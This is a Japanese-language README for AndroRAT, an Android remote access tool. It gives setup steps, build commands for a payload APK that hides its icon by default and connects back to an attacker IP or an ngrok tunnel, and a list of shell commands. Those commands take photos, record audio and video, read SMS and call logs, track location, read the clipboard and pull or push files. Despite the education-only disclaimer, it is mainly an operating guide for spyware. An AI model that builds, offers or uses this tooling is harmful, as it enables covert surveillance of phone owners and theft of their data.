
ソケットを使用したシンプルなAndroidリモート管理ツール。クライアント側はJava、サーバー側はPythonで実装されています。
免責事項 : このソフトウェアは教育目的のみを意図しています。アプリの悪意ある使用について私は責任を負いません。
AndroRATは、Androidシステムをリモートから制御し、そこから情報を取得するために設計されたツールです。AndroratはJava Androidで開発されたクライアント/サーバーアプリケーションで、クライアント側はJava Android、サーバー側はPythonで実装されています。
AndroRATはAndroid 10 (Q)でも動作しますが、一部のインタープリタコマンドは不安定になります。

AndroRATにはPython3とJAVA (またはAndroid Studio) が必要です
git clone https://github.com/karma9874/AndroRAT.git
cd AndroRAT
pip install -r requirements.txt
Windows 上で Git bash を使用してリポジトリをクローンすると、次のエラーが発生する場合があります:
error: unable to create file <filename>: Filename too long
これは、Git ではファイル名に 4096 文字の制限がありますが、Windows で Git が msys でコンパイルされている場合を除きます。msys は古いバージョンの Windows API を使用しており、ファイル名に 260 文字の制限があります。
これは core.longpaths を true に設定することで回避できます。
git config --system core.longpaths true
Git bash を管理者権限で実行する必要があります。
*#*#1337#*#* をダイヤルします (現時点では Restart Activity と Uninstall の 2 つのオプションのみがあります)注: 一部のデバイスでこの機能を使用するには、設定から
display pop-up windows running in backgroundオプションを有効にする必要があります。
--build - Android APK をビルドする場合--ngrok - ngrok トンネルを使用する場合 (インターネット経由)--shell - デバイスのインタラクティブシェルを取得する場合build モードUsage:
python3 androRAT.py --build --ngrok [flags]
Flags:
-p, --port Attacker port number (optional by default its set to 8000)
-o, --output Name for the apk file (optional by default its set to "karma.apk")
-icon, --icon Visible icon after installing apk (by default set to hidden)
Usage:
python3 androRAT.py --build [flags]
Flags:
-i, --ip Attacker IP address (required)
-p, --port Attacker port number (required)
-o, --output Name for the apk file (optional)
-icon, --icon Visible icon after installing apk (by default set to hidden)
または、Android Code フォルダを Android Studio にインポートして手動で apk をビルドすることもできます。config.java ファイル内の IP アドレスとポート番号を変更し、Android Studio -> Build -> Generate Signed APK(s) から署名済み apk を生成できます。
shell モードUsage:
python3 androRAT.py --shell [flags]
Flags:
-i, --ip Listner IP address
-p, --port Listner port number
shell モードを実行すると、デバイスのインタプリタが得られます
インタプリタ上で実行できるコマンド
deviceInfo --> returns basic info of the device
camList --> returns cameraID
takepic [cameraID] --> Takes picture from camera
startVideo [cameraID] --> starts recording the video
stopVideo --> stop recording the video and return the video file
startAudio --> starts recording the audio
stopAudio --> stop recording the audio
getSMS [inbox|sent] --> returns inbox sms or sent sms in a file
getCallLogs --> returns call logs in a file
shell --> starts a sh shell of the device
vibrate [number_of_times] --> vibrate the device number of time
getLocation --> return the current location of the device
getIP --> returns the ip of the device
getSimDetails --> returns the details of all sim of the device
clear --> clears the screen
getClipData --> return the current saved text from the clipboard
getMACAddress --> returns the mac address of the device
exit --> exit the interpreter
sh シェルにはいくつかのサブコマンドがあります
get [full_file_path] --> donwloads the file to the local machine (file size upto 15mb)
put [filename] --> uploads the file to the android device
ngrok を使用して apk をビルドすると、リスナーも設定されます:
python3 androRAT.py --build --ngrok -o evil.apk
To build the apk using desired ip and port:
python3 androRAT.py --build -i 192.169.x.x -p 8000 -o evil.apk
インタプリタを取得するには:
python3 androRAT.py --shell -i 0.0.0.0 -p 8000
AndroRAT is licensed under MIT license take a look at the LICENSE for more information.